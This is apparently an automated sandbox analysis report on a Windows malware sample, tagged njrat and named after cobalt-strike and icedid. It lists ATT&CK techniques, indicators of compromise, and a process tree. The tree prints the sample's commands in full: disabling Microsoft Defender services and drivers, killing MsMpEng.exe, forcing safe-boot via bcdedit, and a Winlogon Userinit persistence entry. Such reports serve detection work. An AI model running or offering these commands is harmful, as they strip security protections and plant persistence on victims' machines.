njrat | 99d5a72a166bd9bfb339abbdccbe9492ecb7f196de6219222acd27f2afe2fb49

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Control Panel\International\Geo\Nation	winsvc32.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Control Panel\International\Geo\Nation	Synaptics.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Control Panel\International\Geo\Nation	Synaptics.exe

Executes dropped EXE 6 IoCs

pid	Process
5440	winsvc32.exe
4664	._cache_winsvc32.exe
1064	Synaptics.exe
6080	._cache_Synaptics.exe
2700	Synaptics.exe
3712	._cache_Synaptics.exe

Loads dropped DLL 2 IoCs

pid	Process
2700	Synaptics.exe
2700	Synaptics.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\????? = "C:\\ProgramData\\Synaptics\\Synaptics.exe"	winsvc32.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

discovery defense_evasion

description	ioc	Process
File opened (read-only)	\??\Z:	cmd.exe
File opened (read-only)	\??\E:	cmd.exe
File opened (read-only)	\??\G:	cmd.exe
File opened (read-only)	\??\H:	cmd.exe
File opened (read-only)	\??\K:	cmd.exe
File opened (read-only)	\??\P:	cmd.exe
File opened (read-only)	\??\T:	cmd.exe
File opened (read-only)	\??\V:	cmd.exe
File opened (read-only)	\??\X:	cmd.exe
File opened (read-only)	\??\A:	cmd.exe
File opened (read-only)	\??\B:	cmd.exe
File opened (read-only)	\??\J:	cmd.exe
File opened (read-only)	\??\L:	cmd.exe
File opened (read-only)	\??\O:	cmd.exe
File opened (read-only)	\??\Q:	cmd.exe
File opened (read-only)	\??\R:	cmd.exe
File opened (read-only)	\??\S:	cmd.exe
File opened (read-only)	\??\I:	cmd.exe
File opened (read-only)	\??\M:	cmd.exe
File opened (read-only)	\??\N:	cmd.exe
File opened (read-only)	\??\W:	cmd.exe
File opened (read-only)	\??\Y:	cmd.exe
File opened (read-only)	\??\U:	cmd.exe

Drops file in System32 directory 5 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\._cache_winsvc32.exe	winsvc32.exe
File opened for modification	C:\Windows\SysWOW64\._cache_winsvc32.exe	winsvc32.exe
File created	C:\Windows\SysWOW64\._cache_Synaptics.exe	Synaptics.exe
File opened for modification	C:\Windows\SysWOW64\._cache_Synaptics.exe	Synaptics.exe
File opened for modification	C:\Windows\SysWOW64\._cache_Synaptics.exe	Synaptics.exe

Enumerates video capture drivers 2 TTPs 1 IoCs

Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

Peripheral Device Discovery

T1120

Video Capture

T1125

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	._cache_winsvc32.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4392	sc.exe
4600	sc.exe
4724	sc.exe
4276	sc.exe
5664	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3756	cmd.exe
5476	cmd.exe
4360	cmd.exe
5384	cmd.exe
1972	cmd.exe
1316	cmd.exe
2500	cmd.exe
4908	cmd.exe
5784	cmd.exe
4144	cmd.exe
5696	cmd.exe
4500	cmd.exe
1312	cmd.exe
4684	cmd.exe
1036	cmd.exe
4472	cmd.exe
3576	cmd.exe
5780	cmd.exe
1028	cmd.exe
4372	cmd.exe
2444	cmd.exe
3828	cmd.exe
4700	cmd.exe
2488	cmd.exe
2992	cmd.exe
1096	cmd.exe
5052	cmd.exe
4508	cmd.exe
5240	cmd.exe
4564	cmd.exe
3988	cmd.exe
2308	cmd.exe
896	cmd.exe
3508	cmd.exe
3872	cmd.exe
3984	cmd.exe
5604	cmd.exe
3936	cmd.exe
2424	cmd.exe
1204	cmd.exe
4468	cmd.exe
4852	cmd.exe
756	cmd.exe
2572	cmd.exe
3816	cmd.exe
5752	cmd.exe
5248	cmd.exe
456	cmd.exe
4436	cmd.exe
3724	cmd.exe
3196	cmd.exe
5412	cmd.exe
2184	cmd.exe
2436	cmd.exe
5664	cmd.exe
932	cmd.exe
552	cmd.exe
2928	cmd.exe
4292	cmd.exe
4776	cmd.exe
1636	cmd.exe
4760	cmd.exe
548	cmd.exe
880	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	._cache_winsvc32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Synaptics.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Synaptics.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	._cache_winsvc32.exe

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	._cache_Synaptics.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Synaptics.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	._cache_Synaptics.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winsvc32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	._cache_winsvc32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Synaptics.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Kills process with taskkill 20 IoCs

defense_evasion

pid	Process
4652	taskkill.exe
5756	taskkill.exe
5640	taskkill.exe
5712	taskkill.exe
5972	taskkill.exe
2180	taskkill.exe
1892	taskkill.exe
4480	taskkill.exe
1064	taskkill.exe
4228	taskkill.exe
4744	taskkill.exe
2248	taskkill.exe
1456	taskkill.exe
5984	taskkill.exe
5556	taskkill.exe
4972	taskkill.exe
5880	taskkill.exe
1768	taskkill.exe
2396	taskkill.exe
4264	taskkill.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "83"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	winsvc32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	Synaptics.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	Synaptics.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1644	schtasks.exe
6080	schtasks.exe
5404	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
5548	EXCEL.EXE

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeDebugPrivilege	2248	taskkill.exe
Token: SeDebugPrivilege	4652	taskkill.exe
Token: SeDebugPrivilege	1768	taskkill.exe
Token: SeDebugPrivilege	5756	taskkill.exe
Token: SeDebugPrivilege	5640	taskkill.exe
Token: SeDebugPrivilege	1064	taskkill.exe
Token: SeDebugPrivilege	1456	taskkill.exe
Token: SeDebugPrivilege	5712	taskkill.exe
Token: SeDebugPrivilege	2396	taskkill.exe
Token: SeDebugPrivilege	5972	taskkill.exe
Token: SeDebugPrivilege	5984	taskkill.exe
Token: SeDebugPrivilege	2180	taskkill.exe
Token: SeDebugPrivilege	1892	taskkill.exe
Token: SeDebugPrivilege	5556	taskkill.exe
Token: SeDebugPrivilege	4972	taskkill.exe
Token: SeDebugPrivilege	4228	taskkill.exe
Token: SeDebugPrivilege	5880	taskkill.exe
Token: SeDebugPrivilege	4480	taskkill.exe
Token: SeDebugPrivilege	4264	taskkill.exe
Token: SeDebugPrivilege	4744	taskkill.exe
Token: SeShutdownPrivilege	5100	shutdown.exe
Token: SeRemoteShutdownPrivilege	5100	shutdown.exe
Token: SeDebugPrivilege	4664	._cache_winsvc32.exe
Token: 33	4664	._cache_winsvc32.exe
Token: SeIncBasePriorityPrivilege	4664	._cache_winsvc32.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
5548	EXCEL.EXE
5548	EXCEL.EXE
5548	EXCEL.EXE
5548	EXCEL.EXE
5548	EXCEL.EXE
5548	EXCEL.EXE
5548	EXCEL.EXE
5548	EXCEL.EXE
5996	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1880 wrote to memory of 4316	1880	2026-10-30_3b25c759e230bf94819a8ac9b0f9bc9b_cobalt-strike_icedid.exe	84
PID 4316 wrote to memory of 516	4316	cmd.exe	86
PID 1880 wrote to memory of 5240	1880	2026-10-30_3b25c759e230bf94819a8ac9b0f9bc9b_cobalt-strike_icedid.exe	87
PID 5240 wrote to memory of 5104	5240	cmd.exe	89
PID 1880 wrote to memory of 5732	1880	2026-10-30_3b25c759e230bf94819a8ac9b0f9bc9b_cobalt-strike_icedid.exe	90
PID 5732 wrote to memory of 796	5732	cmd.exe	92
PID 1880 wrote to memory of 1776	1880	2026-10-30_3b25c759e230bf94819a8ac9b0f9bc9b_cobalt-strike_icedid.exe	93
PID 1776 wrote to memory of 5932	1776	cmd.exe	95
PID 1880 wrote to memory of 5784	1880	2026-10-30_3b25c759e230bf94819a8ac9b0f9bc9b_cobalt-strike_icedid.exe	96
PID 5784 wrote to memory of 3448	5784	cmd.exe	98
PID 1880 wrote to memory of 1972	1880	2026-10-30_3b25c759e230bf94819a8ac9b0f9bc9b_cobalt-strike_icedid.exe	99
PID 1972 wrote to memory of 1136	1972	cmd.exe	101
PID 1880 wrote to memory of 2928	1880	2026-10-30_3b25c759e230bf94819a8ac9b0f9bc9b_cobalt-strike_icedid.exe	102
PID 2928 wrote to memory of 2464	2928	cmd.exe	104
PID 1880 wrote to memory of 2444	1880	2026-10-30_3b25c759e230bf94819a8ac9b0f9bc9b_cobalt-strike_icedid.exe	105
PID 2444 wrote to memory of 3528	2444	cmd.exe	107
PID 1880 wrote to memory of 3756	1880	2026-10-30_3b25c759e230bf94819a8ac9b0f9bc9b_cobalt-strike_icedid.exe	108
PID 3756 wrote to memory of 2248	3756	cmd.exe	110
PID 1880 wrote to memory of 4788	1880	2026-10-30_3b25c759e230bf94819a8ac9b0f9bc9b_cobalt-strike_icedid.exe	112
PID 4788 wrote to memory of 4652	4788	cmd.exe	114
PID 1880 wrote to memory of 3752	1880	2026-10-30_3b25c759e230bf94819a8ac9b0f9bc9b_cobalt-strike_icedid.exe	115
PID 3752 wrote to memory of 3452	3752	cmd.exe	117
PID 1880 wrote to memory of 1036	1880	2026-10-30_3b25c759e230bf94819a8ac9b0f9bc9b_cobalt-strike_icedid.exe	118
PID 1036 wrote to memory of 2512	1036	cmd.exe	120
PID 1880 wrote to memory of 640	1880	2026-10-30_3b25c759e230bf94819a8ac9b0f9bc9b_cobalt-strike_icedid.exe	121
PID 1880 wrote to memory of 4564	1880	2026-10-30_3b25c759e230bf94819a8ac9b0f9bc9b_cobalt-strike_icedid.exe	123
PID 4564 wrote to memory of 4792	4564	cmd.exe	125
PID 1880 wrote to memory of 4144	1880	2026-10-30_3b25c759e230bf94819a8ac9b0f9bc9b_cobalt-strike_icedid.exe	126
PID 4144 wrote to memory of 3040	4144	cmd.exe	128
PID 1880 wrote to memory of 1576	1880	2026-10-30_3b25c759e230bf94819a8ac9b0f9bc9b_cobalt-strike_icedid.exe	129
PID 1576 wrote to memory of 5384	1576	cmd.exe	131
PID 1880 wrote to memory of 5164	1880	2026-10-30_3b25c759e230bf94819a8ac9b0f9bc9b_cobalt-strike_icedid.exe	132
PID 5164 wrote to memory of 4676	5164	cmd.exe	134
PID 1880 wrote to memory of 5696	1880	2026-10-30_3b25c759e230bf94819a8ac9b0f9bc9b_cobalt-strike_icedid.exe	135
PID 5696 wrote to memory of 6048	5696	cmd.exe	137
PID 1880 wrote to memory of 2276	1880	2026-10-30_3b25c759e230bf94819a8ac9b0f9bc9b_cobalt-strike_icedid.exe	138
PID 2276 wrote to memory of 1684	2276	cmd.exe	140
PID 1880 wrote to memory of 1316	1880	2026-10-30_3b25c759e230bf94819a8ac9b0f9bc9b_cobalt-strike_icedid.exe	143
PID 1316 wrote to memory of 5048	1316	cmd.exe	145
PID 1880 wrote to memory of 3724	1880	2026-10-30_3b25c759e230bf94819a8ac9b0f9bc9b_cobalt-strike_icedid.exe	146
PID 3724 wrote to memory of 2208	3724	cmd.exe	148
PID 1880 wrote to memory of 3816	1880	2026-10-30_3b25c759e230bf94819a8ac9b0f9bc9b_cobalt-strike_icedid.exe	149
PID 3816 wrote to memory of 1768	3816	cmd.exe	151
PID 1880 wrote to memory of 3196	1880	2026-10-30_3b25c759e230bf94819a8ac9b0f9bc9b_cobalt-strike_icedid.exe	152
PID 3196 wrote to memory of 5756	3196	cmd.exe	154
PID 1880 wrote to memory of 5752	1880	2026-10-30_3b25c759e230bf94819a8ac9b0f9bc9b_cobalt-strike_icedid.exe	155
PID 5752 wrote to memory of 1872	5752	cmd.exe	157
PID 1880 wrote to memory of 4292	1880	2026-10-30_3b25c759e230bf94819a8ac9b0f9bc9b_cobalt-strike_icedid.exe	158
PID 4292 wrote to memory of 932	4292	cmd.exe	160
PID 1880 wrote to memory of 5476	1880	2026-10-30_3b25c759e230bf94819a8ac9b0f9bc9b_cobalt-strike_icedid.exe	162
PID 5476 wrote to memory of 3888	5476	cmd.exe	164
PID 1880 wrote to memory of 5412	1880	2026-10-30_3b25c759e230bf94819a8ac9b0f9bc9b_cobalt-strike_icedid.exe	165
PID 5412 wrote to memory of 5528	5412	cmd.exe	167
PID 1880 wrote to memory of 1600	1880	2026-10-30_3b25c759e230bf94819a8ac9b0f9bc9b_cobalt-strike_icedid.exe	168
PID 1600 wrote to memory of 5436	1600	cmd.exe	170
PID 1880 wrote to memory of 5604	1880	2026-10-30_3b25c759e230bf94819a8ac9b0f9bc9b_cobalt-strike_icedid.exe	171
PID 5604 wrote to memory of 1048	5604	cmd.exe	173
PID 1880 wrote to memory of 3988	1880	2026-10-30_3b25c759e230bf94819a8ac9b0f9bc9b_cobalt-strike_icedid.exe	175
PID 3988 wrote to memory of 4512	3988	cmd.exe	177
PID 1880 wrote to memory of 5020	1880	2026-10-30_3b25c759e230bf94819a8ac9b0f9bc9b_cobalt-strike_icedid.exe	178
PID 5020 wrote to memory of 4520	5020	cmd.exe	180
PID 1880 wrote to memory of 4472	1880	2026-10-30_3b25c759e230bf94819a8ac9b0f9bc9b_cobalt-strike_icedid.exe	181
PID 4472 wrote to memory of 1180	4472	cmd.exe	183
PID 1880 wrote to memory of 1752	1880	2026-10-30_3b25c759e230bf94819a8ac9b0f9bc9b_cobalt-strike_icedid.exe	184

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-10-30_3b25c759e230bf94819a8ac9b0f9bc9b_cobalt-strike_icedid.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-30_3b25c759e230bf94819a8ac9b0f9bc9b_cobalt-strike_icedid.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1880
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4316
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f
    3⤵
    PID:516
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5240
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f
    3⤵
    PID:5104
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5732
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:796
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1776
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:5932
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5784
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:3448
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1972
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:1136
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2928
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2464
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2444
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:3528
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MsMpEng.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3756
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2248
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im NisSrv.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4788
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4652
- C:\Windows\system32\cmd.exe
  "cmd" /c "bcdedit /set {current} safeboot network"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3752
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {current} safeboot network
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3452
- C:\Windows\system32\cmd.exe
  "cmd" /c "bcdedit /set {current} bootstatuspolicy ignoreallfailures"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1036
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {current} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2512
- C:\Windows\system32\bcdedit.exe
  "bcdedit" /enum {current}
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:640
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4564
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f
    3⤵
    PID:4792
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4144
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f
    3⤵
    PID:3040
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1576
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:5384
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5164
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4676
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5696
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:6048
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2276
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:1684
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1316
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:5048
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3724
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2208
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MsMpEng.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3816
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1768
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im NisSrv.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3196
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5756
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\" /v Userinit /t REG_SZ /d \"C:\Windows\system32\userinit.exe,C:\ProgramData\Microsoft\WinSvc\stage2.bat,\" /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5752
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\" /v Userinit /t REG_SZ /d \"C:\Windows\system32\userinit.exe,C:\ProgramData\Microsoft\WinSvc\stage2.bat,\" /f
    3⤵
    PID:1872
